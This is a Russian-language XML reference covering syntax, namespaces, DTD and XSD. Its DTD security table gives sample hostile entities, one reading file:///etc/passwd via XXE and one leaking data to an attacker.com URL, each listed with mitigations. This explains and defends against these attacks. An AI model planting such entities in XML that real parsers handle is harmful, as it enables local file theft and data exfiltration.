Перейти к основному содержимому

3.04. Справочник по XML

Разработчику Аналитику Тестировщику
Архитектору Инженеру

Справочник по XML

📚 Часть 1. Синтаксис и структура XML

На основе XML 1.0 (Fifth Edition, W3C Recommendation 26 November 2008) и XML 1.1 (Second Edition, 16 August 2006)

1.1. Well-formedness: обязательные условия

Документ считается well-formed, если выполняются все следующие правила:

УсловиеОписание
1Наличие корневого элементаДолжен быть ровно один элемент верхнего уровня (document element), все остальные — вложенные.
2Корректное вложение элементовНачальный и конечный теги должны быть правильно вложены: <a><b></b></a> — допустимо; <a><b></a></b> — недопустимо.
3Закрытие всех элементовВсе нетривиальные элементы либо имеют парный закрывающий тег (<tag></tag>), либо используют самозакрывающийся синтаксис (<tag/>).
4Имена элементов и атрибутовДолжны соответствовать правилам Name по спецификации XML (см. 1.2).
5Уникальность имён атрибутов в пределах элементаОдин и тот же атрибут не может появляться дважды в одном элементе.
6Кавычки у значений атрибутовЗначения атрибутов обязательно заключаются в одинарные (') или двойные (") кавычки.
7Экранирование специальных символовСимволы <, >, &, ', " внутри текста и значений атрибутов должны быть экранированы или находиться в CDATA-секции (см. 1.4).
8Отсутствие неэкранированных управляющих символовВ XML 1.0 недопустимы символы #x0–#x8, #xB–#xC, #xE–#x1F (кроме #x9, #xA, #xD). В XML 1.1 разрешены все Unicode-символы, кроме #x0, #xFFFE, #xFFFF и суррогатных пар вне допустимого контекста.

Примечание: #xN означает шестнадцатеричное представление Unicode-кода символа.


1.2. Правила именования (Name, NCName)

Согласно [Extensible Markup Language (XML) 1.0 (Fifth Edition), §2.3 Common Syntactic Constructs]:

1.2.1. Name

Формально:

Name          ::= NameStartChar (NameChar)*
NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] | [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] | [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] | [#x10000-#xEFFFF]
NameChar ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]

То есть:

  • Имя не может начинаться с -, ., или цифры.
  • Допустимы символы Юникода практически всех письменностей (включая кириллицу, греческую, китайскую и т.п.).
  • Знак : разрешён, но зарезервирован для пространств имён (см. Часть 7).
  • Символ #xB7 (·, middle dot) разрешён только не в начале имени.

1.2.2. NCName (Non-Colonized Name)

То же, что Name, но без символа ::

NCName ::= [^:]*Name

Используется в атрибутах xml:id, ID, IDREF, и в QNames без префикса.

1.2.3. Зарезервированные имена

ИмяКонтекстПримечание
xmlпрефикс пространства имёнЗарезервировано за http://www.w3.org/XML/1998/namespace. Нельзя переопределять.
xmlnsпрефикс и локальное имяИспользуется только для объявения NS. Не может быть локальным именем элемента или атрибута вне этого контекста.
xml:lang, xml:space, xml:base, xml:idатрибутыСпециальные глобальные атрибуты (см. ниже).

В XML 1.1 дополнительно разрешены символы #x0085 (NEL) и #x2028 (LS) как line breaks, но их использование не рекомендуется для совместимости.


1.3. Пролог: XML Declaration и DOCTYPE

1.3.1. XML Declaration

Формат:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

(должна быть первой строкой, если присутствует; перед ней допускаются только BOM и whitespace в XML 1.1)

АтрибутОбязательный?Возможные значенияОписание
versionДа"1.0" | "1.1"Определяет версию XML. Влияет на разрешённые символы и обработку строки.
encodingНетИмя кодировки по IANA Character SetsНапр.: "UTF-8", "UTF-16", "windows-1251", "KOI8-R". Если отсутствует — по умолчанию "UTF-8" или "UTF-16" (определяется по BOM/сигнатуре).
standaloneНет"yes" | "no"Указывает, зависит ли документ от внешних сущностей (например, внешних DTD-подмножеств). "yes" — не зависит; "no" (по умолчанию) — может зависеть.

Примечание: standalone="yes" не запрещает ссылки на внешние сущности, но требует, чтобы парсер проигнорировал их при нормализации — поведение зависит от парсера (некоторые игнорируют этот флаг).

1.3.2. Text declaration (для внешних сущностей)

В внешних парсированных сущностях (external parsed entities), если они в кодировке, отличной от UTF-8/UTF-16, может присутствовать text declaration:

<?xml encoding="windows-1251"?>
<fragment>...</fragment>

Здесь version не указывается (подразумевается та же, что у основного документа), standalone — недопустим.

1.3.3. DOCTYPE Declaration

Формат:

<!DOCTYPE rootElementName 
[
[ ExternalID ]
[ "[" InternalSubset "]" ]
]>
ЧастьФорматПример
ExternalIDSYSTEM "URI" | PUBLIC "publicId" "systemId"SYSTEM "schema.dtd" PUBLIC "-//Example//DTD Doc//EN" "http://example.com/doc.dtd"
InternalSubsetНабор объявлений: <!ELEMENT>, <!ATTLIST>, <!ENTITY>, <!NOTATION>См. Часть 8 (DTD).

Примечание: Наличие DOCTYPE не делает документ валидным — только well-formed. Валидация требует обработки DTD и проверки.


1.4. Специальные конструкции

КонструкцияСинтаксисОписаниеОграничения
Комментарий<!-- текст -->Любой текст, кроме --.Не может содержать -- внутри. Не может вкладываться.
CDATA Section<![CDATA[ ... ]]>Содержимое интерпретируется как raw text, без разбора &, <.Нельзя вложить CDATA в CDATA. Строка ]]> завершает секцию — её нужно экранировать (напр., разбить: ]]><![CDATA[]>).
Processing Instruction (PI)<?target data?>Инструкция для приложения. target — имя (не xml), data — произвольные символы, кроме ?>.target чувствителен к регистру. xml-stylesheet, xml-model — стандартные цели.
Character Reference&#N; (десятичное) | &#xH; (шестнадцатеричное)Ссылка на Unicode-символ.N/H — корректный code point. Например: &#65; = A, &#x41; = A.
Entity Reference&name;Подстановка сущности.name должен быть объявлен (кроме встроенных).

1.4.1. Встроенные (predefined) сущности

СущностьЗаменаРазрешена вПримечание
&lt;<текст, значения атрибутовОбязательна в тексте и значениях атрибутов вместо <, кроме CDATA.
&gt;>текст, значения атрибутовТребуется только в контекстах, где > может быть ошибочно интерпретирован (напр. ]]>), но рекомендуется везде для единообразия.
&amp;&текст, значения атрибутовОбязательна — иначе последующий символ создаёт неопределённую сущность.
&apos;'значения атрибутов в двойных кавычкахНе требуется в тексте.
&quot;"значения атрибутов в одинарных кавычкахНе требуется в тексте.

Примечание: в CDATA-секциях никакие сущности не разворачиваются.


1.5. Атрибуты: базовые типы по DTD (декларативные, не типы данных в XSD)

При использовании DTD можно объявить тип атрибута. Это влияет на парсинг и нормализацию значений.

ТипОписаниеНормализация значенияПример объявления
CDATAСимвольные данныеПробельные символы (табуляция, \n, \r) заменяются на пробелы; начальные/конечные пробелы удаляются; внутренние идущие подряд пробелы сворачиваются в один.<!ATTLIST note text CDATA #IMPLIED>
IDУникальный идентификатор элемента в документеТо же, что CDATA; должен быть NCName; должен быть уникальным в документе.<!ATTLIST section id ID #REQUIRED>
IDREF / IDREFSСсылка на ID / список ссылок (через пробел)То же, что CDATA; каждое значение должно соответствовать существующему ID.<!ATTLIST link target IDREF #REQUIRED>
ENTITY / ENTITIESИмя внешней непарсированной сущности / списокИмя должно быть объявлено как <!ENTITY name SYSTEM "uri" NDATA notation>.<!ATTLIST img src ENTITY #REQUIRED>
NMTOKEN / NMTOKENSТокен по правилам NameChar (может начинаться с -, ., цифры) / списокТо же, что CDATA; каждое слово — NMTOKEN.<!ATTLIST flag values NMTOKENS #IMPLIED>
(val1|val2|...)ПеречислениеНормализация как CDATA; значение должно точно совпадать с одним из вариантов (регистрозависимо).<!ATTLIST button type (submit|reset|button) "button">
NOTATIONИмя нотацииИмя должно быть объявлено через <!NOTATION>.<!ATTLIST obj data NOTATION (gif|png) #REQUIRED>

Примечание: #REQUIRED, #IMPLIED, #FIXED "value" — ключевые слова для указания обязательности и фиксации значения.


📚 Часть 2. XML Namespaces

Пространства имён решают проблему конфликтов имён при объединении XML-лексик из разных источников (например, XHTML + SVG + MathML в одном документе).

2.1. Основные принципы

ПринципФормулировка
ИдентификацияПространство имён идентифицируется абсолютным URI (чаще всего — HTTP URI, но не обязательно разрешаемым). Пример: http://www.w3.org/1999/xhtml.
Отсутствие наследования URIURI не наследуется как «база» для составных имён. x:y в NS A и x:y в NS B — разные имена, даже если y совпадает.
Локальное имя + URI = уникальное имяПолное имя элемента или атрибута — это пара (URI, localName). Префикс — лишь сокращение для удобства записи и не входит в модель данных.
Атрибуты по умолчанию не наследуют NS элементаЕсли у атрибута нет префикса — его URI = nil (пустое пространство имён), даже если элемент объявлен в NS. Исключение — глобальные атрибуты xml:*.

Примечание: xml — зарезервированный префикс для URI http://www.w3.org/XML/1998/namespace. Его нельзя переопределять. Префикс xmlns — зарезервирован синтаксически и не является именем в каком-либо NS.


2.2. Объявление пространств имён

2.2.1. Синтаксис объявления

Тип объявленияСинтаксисПримерЭффект
С префиксомxmlns:prefix="URI"xmlns:svg="http://www.w3.org/2000/svg"Все элементы/атрибуты с префиксом svg: принадлежат указанному URI.
По умолчаниюxmlns="URI"xmlns="http://www.w3.org/1999/xhtml"Все элементы без префикса в области видимости принадлежат этому URI. На атрибуты не влияет.
Отмена NS по умолчаниюxmlns=""<foreign xmlns=""><data/></foreign>Элементы без префикса внутри — в nil namespace.

2.2.2. Область действия (scope)

Объявление действует от начала элемента, в котором оно указано, до конца этого элемента (включая все дочерние), если не переопределено.

<root xmlns="A">
<a/> <!-- (A, "a") -->
<b xmlns="B">
<c/> <!-- (B, "c") -->
<d xmlns=""/> <!-- (nil, "d") -->
</b>
<e xmlns:ns="C">
<ns:f/> <!-- (C, "f") -->
<g ns:attr="val"/> <!-- атрибут: (C, "attr"); элемент g: (A, "g") -->
</e>
</root>

Важно:

  • Объявление xmlns не создаёт атрибут в итоговом дереве (DOM/SAX/infoset). Это директива парсера.
  • Нельзя объявить префикс xml или xmlns.
  • Префикс может быть переопределён во вложенном элементе (даже на тот же URI — легально, но избыточно).

2.3. QName (Qualified Name)

Формат: [prefix:]localName

ФормаURI пространства имёнПримечание
localЗависит от контекста: если объявлен NS по умолчанию — его URI; иначе nil.Только для элементов. Атрибуты без префикса всегда в nil.
ns:localURI, связанный с префиксом ns в текущей области.Префикс обязан быть объявлен.

2.3.1. Ограничения на QName

КонтекстДопустимый формат QNameПримеры
Имя элементаNCName или prefix:NCName<book>, <xhtml:p>
Имя атрибутаТо жеid="1", xlink:href="..."
Значение атрибута типа QName в XSDТо же, но при валидации проверяется, что префикс объявлен<element type="xs:string"/>xs должен быть объявлен как http://www.w3.org/2001/XMLSchema
xml:idТолько NCName (без префикса)<note xml:id="n1"/>

Примечание: В XSD тип xs:QName хранится как тройка (namespace URI, local name, prefix), но при сериализации используется только prefix:localName.


2.4. Специальные атрибуты в пространстве xml:

Атрибуты с префиксом xml: являются глобальными — могут использоваться в любом элементе без объявления их пространства.

АтрибутВозможные значенияНазначениеВлияние на обработку
xml:langЯзыковой тег по BCP 47 (например, en, ru-RU, zh-Hans)Указывает язык содержимого элемента и его потомков (если не переопределён).Используется XSLT, CSS (:lang()), процессорами локализации. Не влияет на парсинг.
xml:space"default" | "preserve"Указывает, как обрабатывать whitespace в текстовом содержимом."default" — нормализация (свёртка, удаление внешних); "preserve" — сохранять как есть (но \r\n\n). Влияет на xml:space в глубину.
xml:baseКорректный URI (абсолютный или относительный)Определяет базовый URI для разрешения относительных URI в значениях атрибутов (href, src и т.п.) и в xlink:href.Наследуется вглубь; разрешается по [RFC 3986]. Требует поддержки приложения (не все парсеры реализуют).
xml:idNCNameЗадаёт уникальный идентификатор элемента.Должен быть уникальным в документе; парсер может индексировать его для getElementById() без DTD. Заменяет ID из DTD при наличии XSD.

Примечание:

  • Эти атрибуты не требуют объявления xmlns:xml="http://www.w3.org/XML/1998/namespace" — он подразумевается.
  • Другие атрибуты с префиксом xml: (например, xml:foo) — недопустимы и приводят к ошибке парсинга.

2.5. xmlns как часть Infoset и PSVI

УровеньЧто сохраняется
XML Infoset (Information Set)Для каждого элемента/атрибута: (namespace name, local name). Префикс не сохраняется, если только явно не требуется (например, для QName-значений).
XDM (XQuery/XPath Data Model)То же. Дополнительно: атрибуты xml:base, xml:lang, xml:space представлены как свойства узлов.
PSVI (Post-Schema-Validation Infoset)После валидации XSD: тип, ограничения, nil-статус и т.д.
Сериализация (например, через xml:base)Префиксы могут быть восстановлены алгоритмически (например, Canonical XML), но не обязательно совпадут с исходными.

Практическое следствие: Если вы сохраняете XML и потом читаете через DOM/SAX/StAX — префиксы могут быть потеряны или изменены. Полагайтесь только на URI + local name.


2.6. Сравнение XML 1.0 и XML 1.1 в контексте NS

ОсобенностьXML 1.0XML 1.1
Символы в URIТолько символы, разрешённые в NameChar (см. Часть 1)Допускаются почти все Unicode (включая NEL, LS, но не #x0, #xFFFE, #xFFFF).
Обработка xml:base с недопустимыми URIОшибка парсингаМожет быть проигнорировано (зависит от парсера).
Разрешённые префиксыКак в NameТо же, но шире диапазон символов.

Рекомендация: Используйте XML 1.0, если нет специфической потребности в расширенных символах. Поддержка XML 1.1 ограничена (например, Java DocumentBuilder по умолчанию не поддерживает 1.1 без явной настройки).


2.7. Частые ошибки и антипаттерны

ОшибкаПримерПоследствие
Префикс без объявления<x:p>...</x:p> (без xmlns:x=...)Ошибка парсинга (not well-formed).
xmlns как обычный атрибут<div xmlns="A" xmlns="B">Последнее объявление переопределяет первое — легально, но запутанно.
Атрибут без префикса в NS элемента<html xmlns="XHTML" lang="en">lang находится в nil namespace, а не в XHTML — может нарушить валидацию. Нужно: xml:lang="en" или xhtml:lang="en" (если lang в DTD/XSD объявлен как часть XHTML).
Использование http://.../ с версией в URIxmlns:x="http://example.com/ns/v1.2"URI — идентификатор, а не адрес. Изменение версии в URI создаёт новое пространство имён. Это законно, но усложняет совместимость.
Передача префиксов в API как идентификаторовelement.getTagName() возвращает ns:localЛомается при изменении префикса. Корректно: element.getNamespaceURI() + "#" + element.getLocalName().

2.8. Рекомендации по проектированию NS

  1. Используйте постоянные, уникальные URI — например, urn:uuid:..., http://your-domain/ns/year/name, https://github.com/user/project/ns.
  2. Избегайте хостов, которые могут быть перехвачены — не используйте http://example.com/, если нет контроля над ним.
  3. Не меняйте URI при несущественных изменениях — только при некомпактных изменениях (например, изменение модели данных).
  4. Документируйте NS — размещайте по URI человекочитаемую страницу (с XSLT-трансформацией или HTML-описанием).
  5. Для внутренних проектов — используйте urn:urn:company:product:module:v1.

📚 Часть 3. Document Type Definition (DTD)

3.1. Структура DTD

DTD может быть:

  • Внутренним подмножеством — внутри <!DOCTYPE [...] [...] >
  • Внешним подмножеством — в отдельном файле, подключаемом через SYSTEM или PUBLIC
  • Комбинированным — внешнее + внутреннее (внутреннее переопределяет внешнее)
<!DOCTYPE article [
<!ENTITY % common SYSTEM "common.ent">
%common;
<!ELEMENT article (title, section+)>
<!ATTLIST article id ID #REQUIRED>
]>
<article id="a1"><title>...</title>...</article>

Важно:

  • Внешнее подмножество загружается только если указан SYSTEM/PUBLIC и парсер не в standalone-режиме (standalone="no" или не указано).
  • Обработчики внешних сущностей должны быть реализованы парсером (в Java — EntityResolver, в .NET — XmlResolver).

3.2. Объявление элементов: <!ELEMENT>

Синтаксис:

<!ELEMENT name contentspec>

3.2.1. contentspec — модели контента

ТипСинтаксисПримерОписание
EMPTYEMPTY<!ELEMENT br EMPTY>Элемент не может иметь дочерних узлов (ни текста, ни элементов). Допустимы атрибуты.
ANYANY<!ELEMENT note ANY>Элемент может содержать любую комбинацию текста и элементов (но только из DTD). Устаревшее, небезопасное.
Смешанный(#PCDATA | name1 | name2)*<!ELEMENT p (#PCDATA | em | strong)*>Текст (#PCDATA) и элементы в любом порядке и количестве. * обязателен.
Дочерний (element-content)model<!ELEMENT section (title, para+)>Только элементы (без текста на верхнем уровне). Поддерживает: — , — последовательность — | — выбор — ? — 0 или 1 — * — 0 или более — + — 1 или более — () — группировка

Примечание: #PCDATA допустим только в смешанной модели и только на первом месте.

3.2.2. Группы и квантификаторы (только для element-content)

КонструкцияЗначениеЭквивалент в EBNF
(a, b)a, затем ba b
(a | b)a или ba | b
(a, b)+1+ повторений (a, b)(a b)+
a?0 или 1 aa?
(a | b)*0+ a или b в любом порядке(a | b)*
((a, b) | c)+1+ либо (a,b), либо c((a b) | c)+

Ограничения:

  • Нельзя использовать */+/? над #PCDATA.
  • Смешанная модель: (a \| b)* — допустимо; (a, b)*недопустимо.
  • Вложенность групп не ограничена, но может снижать читаемость.

3.3. Объявление атрибутов: <!ATTLIST>

Синтаксис:

<!ATTLIST element-name
attr-name1 type1 default1
attr-name2 type2 default2
...
>

3.3.1. Типы атрибутов (расширение раздела 1.5)

ТипПодтипы и особенности
CDATAЛюбые символы. Нормализация: whitespace сворачивается.
IDДолжен быть NCName. Уникален в документе. Только один ID на элемент.
IDREF, IDREFSОдин или несколько ID через whitespace. Должны ссылаться на существующие ID.
ENTITY, ENTITIESИмена внешних непарсированных сущностей. Должны быть объявлены в <!ENTITY ... NDATA>.
NMTOKEN, NMTOKENSОдин или несколько токенов, каждый соответствует NameChar+ (может начинаться с -, ., цифры).
Перечисление(val1 | val2 | val3) — регистрозависимо. Значения должны быть Nmtoken.
NOTATION(notation1 | notation2) — ссылка на объявленные <!NOTATION>.

3.3.2. Значения по умолчанию

ДекларацияПоведение
#REQUIREDАтрибут обязателен. Отсутствие — ошибка валидации.
#IMPLIEDАтрибут необязателен. Если отсутствует — не создаётся в infoset.
#FIXED "value"Атрибут может быть опущен, но если присутствует — точно "value". При отсутствии — подставляется "value" в infoset.
"default"Значение по умолчанию. Подставляется, если атрибут отсутствует.

Пример:

<!ATTLIST img
src CDATA #REQUIRED
alt CDATA #IMPLIED
width NMTOKEN #FIXED "100"
format (png\|jpg\|gif) "png"
>

3.4. Объявление сущностей: <!ENTITY>

Сущности — макроподстановки. Делятся на:

ТипПодтипСинтаксисПримерОбласть
Общая (general)Внутренняя<!ENTITY name "value"><!ENTITY copy "&#169;">&copy;В тексте и значениях атрибутов
Внешняя парсированная<!ENTITY name SYSTEM "uri"><!ENTITY chapter1 SYSTEM "ch1.xml">Вставляется как XML-фрагмент
Внешняя непарсированная<!ENTITY name SYSTEM "uri" NDATA notation><!ENTITY logo SYSTEM "logo.png" NDATA PNG>Только в значениях атрибутов типа ENTITY
Параметрическая (parameter)Внутренняя<!ENTITY % name "value"><!ENTITY % ISOLat2 SYSTEM "ISOlat2.ent">Только в DTD (внутри <!DOCTYPE [...] [...] >)
Внешняя<!ENTITY % name SYSTEM "uri">%ISOLat2;То же

3.4.1. Правила подстановки

  • Общие сущности: &name;
  • Параметрические: %name;
  • Нельзя использовать общие сущности в DTD (кроме значений по умолчанию).
  • Нельзя использовать параметрические сущности вне DTD.
  • Рекурсия запрещена — парсер обязан обнаружить и прервать.

3.4.2. Условная обработка в DTD: INCLUDE / IGNORE

<![%draft;[
<!ELEMENT draft-note (#PCDATA)>
]]>

Где %draft; — параметрическая сущность, содержащая INCLUDE или IGNORE:

<!ENTITY % draft "IGNORE">

Фактически:

<![IGNORE[
<!ELEMENT draft-note (#PCDATA)>
]]>

→ блок игнорируется при парсинге DTD.

Применение: поставка одной DTD для нескольких профилей (production/draft/mobile).


3.5. Объявление нотаций: <!NOTATION>

Синтаксис:

<!NOTATION name PUBLIC "public-id" "system-id">
<!NOTATION name SYSTEM "system-id">

Нотации описывают внешние немаркированные данные (бинарные, не-XML).

ПримерНазначение
<!NOTATION PNG SYSTEM "image/png">MIME-тип для ENTITY logo ... NDATA PNG
<!NOTATION ZIP PUBLIC "+//IDN example.com//NOTATION ZIP Archive//EN" "application/zip">Публичный идентификатор + системный

Примечания:

  • Нотация не описывает структуру, только метаданные.
  • Используется только в связке с ENTITY ... NDATA и атрибутами типа NOTATION.
  • В современных системах почти не используется — заменена MIME-типами и XLink.

3.6. Валидация по DTD: что проверяется

Парсер в режиме validating проверяет:

ПроверкаОписание
Well-formedness(обязательно даже без DTD)
Объявление элементовВсе элементы в документе должны быть объявлены (если нет ANY).
Модель контентаПоследовательность и кратность дочерних элементов/текста.
Объявление атрибутовВсе атрибуты должны быть объявлены (если не CDATA #IMPLIED в ANY-элементе).
Типы атрибутовID уникальны, IDREF ссылаются на существующие ID, перечисления совпадают и т.д.
СущностиВсе &name; (кроме 5 встроенных) должны быть объявлены.
НотацииВсе NDATA notation должны иметь соответствующую <!NOTATION>.

Примечание:

  • Whitespace в element-content (<a> <b/> </a>) — недопустим, если не объявлен как #PCDATA (в смешанной модели) или не в CDATA. Это частая ошибка.
  • DTD не проверяет типы данных (числа, даты), ограничения длины, регулярные выражения — только структуру и перечисления.

3.7. Безопасность и ограничения DTD

РискОписаниеСмягчение
XXE (XML External Entity)Чтение локальных файлов через <!ENTITY x SYSTEM "file:///etc/passwd">Отключить обработку внешних сущностей (Feature.DISALLOW_DOCTYPE_DECL, Feature.EXTERNAL_GENERAL_ENTITIES = false).
DoS через рекурсию<!ENTITY a "&a;&a;"> → бесконечный ростОграничение глубины подстановки (в Java — FEATURE_SECURE_PROCESSING).
Утечка через URISYSTEM "http://attacker.com/?leak=data"Блокировка исходящих HTTP-запросов из парсера.

Рекомендация:

  • В production-системах отключайте DTD-валидацию, если она не требуется.
  • Используйте XSD или RELAX NG для структурной валидации.
  • В .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
  • В Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true).

3.8. Совместимость с XSD

ВозможностьDTDXSD
Пространства имёнТолько через префиксы (без URI-безопасности)Полная поддержка (целевые NS, импорт, переопределение)
Типы данных8 типов + перечисления44+ встроенных (xs:date, xs:integer, xs:anyURI, регулярки и т.д.)
Уникальность/ссылкиID/IDREF (в пределах документа)xs:key, xs:keyref, xs:unique (в пределах области)
РасширяемостьНетГруппы (xs:group, xs:attributeGroup), xs:extension, xs:restriction
ДокументацияНет<xs:annotation><xs:documentation>

Вывод: DTD подходит для простых, внутренних форматов. Для интеграционных API, конфигураций, открытых стандартов — XSD (или JSON Schema для JSON).


📚 Часть 4. XML Schema Definition (XSD)

4.1. Основные концепции

ПонятиеОписание
Целевое пространство имён (targetNamespace)URI, которому принадлежат объявленные в схеме элементы и типы. Указывается в <xs:schema targetNamespace="...">.
Квалификация элементов/атрибутовУправляется elementFormDefault и attributeFormDefault ("qualified" / "unqualified"). "qualified" — все локальные элементы/атрибуты должны быть в targetNamespace (требуется префикс или xmlns=).
Компоненты схемы<xs:element>, <xs:complexType>, <xs:simpleType>, <xs:group>, <xs:attributeGroup>, <xs:notation> и др. — единицы переиспользования.
PSVI (Post-Schema-Validation Infoset)Расширенная модель документа после валидации: типы, значения, nil, ключи и т.д.
ВалидацияПроверка: (1) структуры, (2) типов, (3) ограничений, (4) уникальности (xs:key), (5) целостности (xs:keyref).

Примечание: XSD не заменяет well-formedness — документ должен быть well-formed до валидации по схеме.


4.2. Встроенные простые типы (built-in simple types)

Всего 44+ встроенных типа (XSD 1.0). Основные категории:

4.2.1. Примитивные типы (25)

ГруппаТипыПримеры значений
Строковыеstring, boolean, decimal, float, double"text", true, 123.45, 3.14e10
ВременныеdateTime, time, date, gYearMonth, gYear, duration2025-11-20T14:30:00+05:00, PT2H30M, 2025
URI/бинарныеanyURI, base64Binary, hexBinaryhttps://example.com, AQIDBA==, 01020304
ИдентификаторыQName, NOTATIONxs:string, image/png
ПрочиеnormalizedString, token, language, NMTOKEN, Name, NCName, ID, IDREF, ENTITYen-US, valid_name, id1

Примечания:

  • decimal — произвольная точность (в отличие от float/double).
  • dateTime включает часовой пояс (Z или ±HH:MM). Если отсутствует — неопределённое локальное время.
  • duration по ISO 8601: PnYnMnDTnHnMnS (P — period, T — time separator).

4.2.2. Производные типы (19)

Построены на основе примитивных через ограничения (facets):

ТипБазовыйОграниченияПример
integerdecimalfractionDigits = 0123
nonNegativeIntegerintegerminInclusive = 00, 100
positiveIntegernonNegativeIntegerminExclusive = 01, 42
long, int, short, byteintegerminInclusive, maxInclusive-2147483648..2147483647 (int)
unsignedLong, unsignedInt...nonNegativeIntegerаналогично0..4294967295 (unsignedInt)
datedateTimeбез времени2025-11-20
timedateTimeбез даты14:30:00+05:00
tokennormalizedStringcollapse whitespace"a b c""a b c" (без внешних пробелов, внутренние — один)

Полный список — в XSD Datatypes, Appendix B.


4.3. Фасеты (ограничения) для простых типов

Фасеты накладывают дополнительные ограничения на значения.

ФасетПрименяется кОписаниеПример
lengthstring, QName, anyURI, base64Binary, hexBinaryТочная длинаlength=5"hello"
minLength, maxLengthто жеМин./макс. длинаminLength=3, maxLength=10
patternstring и производныеРегулярное выражение (синтаксис XSD, не PCRE)pattern="[A-Z]{2}[0-9]{3}""AB123"
enumerationлюбой простой типФиксированный набор значенийenumeration="red", enumeration="green"
whiteSpacestring и производныеpreserve / replace / collapsecollapse — как в XML-нормализации атрибутов
maxInclusive, maxExclusivedecimal, float, dateTime, duration / <maxInclusive="100"
minInclusive, minExclusiveто же / >minExclusive="0"
totalDigits, fractionDigitsdecimalМакс. цифр всего / после точкиtotalDigits=5, fractionDigits=2123.45
maxScale, minScale (XSD 1.1)decimalАналогично, но с поддержкой научной нотации

Примечания:

  • Регулярные выражения в XSD:
    • Нет поддержки \d, \w, \s — только символьные классы ([0-9], [a-zA-Z], [ \t\n\r]).
    • Якоря ^ и $ не нужны — совпадение проверяется по всей строке.
    • Подвыражения (...) не захватываются — только группировка.
  • Несовместимые фасеты (напр., length + minLength) — ошибка компиляции схемы.

4.4. Определение простых типов: <xs:simpleType>

4.4.1. Ограничение (restriction)

<xs:simpleType name="CurrencyCode">
<xs:restriction base="xs:string">
<xs:length value="3"/>
<xs:pattern value="[A-Z]{3}"/>
</xs:restriction>
</xs:simpleType>

4.4.2. Список (list)

<xs:simpleType name="ColorList">
<xs:list itemType="xs:NMTOKEN"/>
</xs:simpleType>
<!-- <item colors="red green blue"/> -->

4.4.3. Объединение (union)

<xs:simpleType name="IDOrRef">
<xs:union memberTypes="xs:ID xs:IDREF"/>
</xs:simpleType>

XSD 1.1: memberTypes может включать анонимные типы.


4.5. Определение сложных типов: <xs:complexType>

Сложный тип описывает структуру элемента: дочерние элементы, текст, атрибуты.

4.5.1. Содержимое

Тип содержимогоЭлементыТекстСмешанное?Пример
emptyНетНетНет<xs:complexType/>
element-onlyДаНетНет<xs:sequence><xs:element name="a"/></xs:sequence>
simpleContentНетДаНет<xs:simpleContent><xs:extension base="xs:string">...</xs:extension>
mixedДаДаДа<xs:complexType mixed="true">...

4.5.2. Дочерние конструкции (xs:sequence, xs:choice, xs:all)

КонструкцияПоведениеОграничения
<xs:sequence>Элементы в строгом порядкеКаждый может иметь minOccurs, maxOccurs
<xs:choice>Ровно один из перечисленных (по умолчанию)minOccurs="0", maxOccurs="unbounded" допустимы
<xs:all>Все элементы, в любом порядке, не более одного разаТолько на верхнем уровне complexType; maxOccurs = 0 или 1

Пример xs:all (допустимо только в XSD 1.0+):

<xs:complexType name="Person">
<xs:all>
<xs:element name="firstName" type="xs:string"/>
<xs:element name="lastName" type="xs:string" minOccurs="0"/>
</xs:all>
</xs:complexType>

<Person><lastName>...</lastName><firstName>...</firstName></Person> — валидно.

4.5.3. Расширение и ограничение

ОперацияСинтаксисПрименяется кПример
extension<xs:extension base="...">...simpleContent / complexContentДобавление атрибутов к строке: <xs:simpleContent><xs:extension base="xs:string"><xs:attribute name="lang" type="xs:language"/></xs:extension>
restriction<xs:restriction base="...">...simpleContent / complexContentУжесточение: <xs:restriction base="xs:positiveInteger"><xs:maxInclusive value="100"/></xs:restriction>

В complexContent restriction должен сужать модель контента (меньше элементов, строже повторения).


4.6. Глобальные и локальные объявления

УровеньЭлементАтрибутОсобенности
Глобальный<xs:element name="..."> (прямой потомок <xs:schema>)<xs:attribute name="...">Имеет QName, может быть корневым, переиспользуется через ref.
Локальный<xs:element ref="..."> или <xs:element name="..."> внутри complexTypeаналогичноНе имеет QName; name — локальное имя в контексте.

Пример переиспользования:

<xs:element name="name" type="xs:string"/>
<xs:complexType name="Person">
<xs:sequence>
<xs:element ref="name"/> <!-- ссылка на глобальный -->
</xs:sequence>
</xs:complexType>

4.7. Группы и атрибутные группы

4.7.1. Группы элементов (<xs:group>)

<xs:group name="AddressFields">
<xs:sequence>
<xs:element name="street" type="xs:string"/>
<xs:element name="city" type="xs:string"/>
</xs:sequence>
</xs:group>

<xs:complexType name="Delivery">
<xs:sequence>
<xs:group ref="AddressFields"/>
<xs:element name="zip" type="xs:string"/>
</xs:sequence>
</xs:complexType>

4.7.2. Атрибутные группы (<xs:attributeGroup>)

<xs:attributeGroup name="i18nAttrs">
<xs:attribute name="lang" type="xs:language" default="en"/>
<xs:attribute name="dir" type="xs:string" default="ltr"/>
</xs:attributeGroup>

<xs:complexType name="Text">
<xs:simpleContent>
<xs:extension base="xs:string">
<xs:attributeGroup ref="i18nAttrs"/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>

Преимущества: модульность, уменьшение дублирования, поддержка изменений.


4.8. Уникальность и ссылочная целостность

4.8.1. xs:unique

Гарантирует уникальность значений в заданной области.

<xs:element name="catalog">
<xs:complexType>
<xs:sequence>
<xs:element name="product" maxOccurs="unbounded">
<xs:complexType>
<xs:attribute name="id" type="xs:ID" use="required"/>
</xs:complexType>
</xs:element>
</xs:sequence>
</xs:complexType>
<xs:unique name="uniqueProductId">
<xs:selector xpath="product"/>
<xs:field xpath="@id"/>
</xs:unique>
</xs:element>

4.8.2. xs:key и xs:keyref

xs:key — как xs:unique, но также позволяет ссылаться через xs:keyref.

<xs:key name="productKey">
<xs:selector xpath="product"/>
<xs:field xpath="@id"/>
</xs:key>

<xs:keyref name="orderRef" refer="productKey">
<xs:selector xpath="order/item"/>
<xs:field xpath="@productId"/>
</xs:keyref>

Область действия: от текущего элемента вглубь.
XSD 1.1: xpathDefaultNamespace — упрощает XPath для NS.


4.9. Поддержка пространств имён в XSD

МеханизмОписание
targetNamespaceОбъявляет NS, которому принадлежат глобальные компоненты.
